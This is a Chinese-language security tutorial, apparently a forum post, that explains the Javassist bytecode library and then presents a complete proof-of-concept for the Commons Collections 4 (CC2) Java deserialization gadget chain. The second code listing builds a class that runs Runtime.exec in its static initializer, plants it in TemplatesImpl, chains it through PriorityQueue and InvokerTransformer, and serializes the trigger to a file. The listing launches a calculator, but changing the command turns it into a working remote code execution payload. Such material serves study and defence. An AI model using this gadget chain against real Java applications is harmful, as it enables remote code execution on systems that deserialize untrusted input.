https://xz.aliyun.com/t/10387?time__1311=mq%2BxBDyDu7G%3DI405DIYxrDcADRQR8%3De34D&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F#toc-2
简述:
Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。
能够在运行时定义新的Java类,在JVM加载类文件时修改类的定义。
Javassist类库提供了两个层次的API,源代码层次和字节码层次。源代码层次的API能够以Java源代码的形式修改Java字节码。字节码层次的API能够直接编辑Java类文件。
下面大概讲一下POC中会用到的类和方法:
ClassPool
ClassPool是CtClass对象的容器,它按需读取类文件来构造CtClass对象,并且保存CtClass对象以便以后使用,其中键名是类名称,值是表示该类的CtClass对象。
常用方法:
static ClassPool getDefault()
:返回默认的ClassPool,一般通过该方法创建我们的ClassPool;ClassPath insertClassPath(ClassPath cp)
:将一个ClassPath对象插入到类搜索路径的起始位置;ClassPath appendClassPath
:将一个ClassPath对象加到类搜索路径的末尾位置;CtClass makeClass
:根据类名创建新的CtClass对象;CtClass get(java.lang.String classname)
:从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;
CtClass
CtClass类表示一个class文件,每个CtClass对象都必须从ClassPool中获取。
常用方法:
void setSuperclass(CtClass clazz)
:更改超类,除非此对象表示接口;byte[] toBytecode()
:将该类转换为类文件;CtConstructor makeClassInitializer()
:制作一个空的类初始化程序(静态构造函数);
Demo:
import com.sun.javafx.image.BytePixelSetter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import java.io.IOException;
public class javassit_harder {
public static void CreateHarder() throws CannotCompileException, IllegalAccessException, InstantiationException, NotFoundException, IOException {
ClassPool aDefault = ClassPool.getDefault();
//默认返回ClassPool,一般通过该方法创建我们的ClassPool
//System.out.println(aDefault); //创建一个类为harder
CtClass harder = aDefault.makeClass("harder");
String cmd = "System.out.println(\"hello harder!\");";
harder.makeClassInitializer().insertBefore(cmd);
//制作一个空的初始化,并在其前面插入要执行的命令语句
//重置类名字
String randomName = "harder"+System.nanoTime();
harder.setName(randomName);
//设置名字为 randomName harder.writeFile();
//将类保存下来
Class Harder = harder.toClass();
//创建对象
Harder.newInstance();
}
public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, IllegalAccessException, InstantiationException {
try {
CreateHarder();
} catch (Exception e){
e.printStackTrace();
}
}
}
到正式篇章了,开始分析!!!!!
字节码类加载主要定义类的函数为defineClass函数,提到字节码加载中必须想到Templateslmpl类
这里就不详细分析了,大概调用过程:
defineClass->defineTransletClasses->getfineTransletClasses->newTransformer
而newTransformer方法通过类InvokeTransfomer来反射出来
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class CommonsCollection2_TemplatesImpl {
public static void main(String[] args) throws Exception {
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("harder");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "harder" + System.nanoTime();
cc.setName(randomClassName);
//cc.writeFile();
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
参考:
https://blog.csdn.net/weixin_49047967/article/details/134763883
https://johnfrod.top/%E5%AE%89%E5%85%A8/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-%E5%9F%BA%E7%A1%80%E7%AF%87/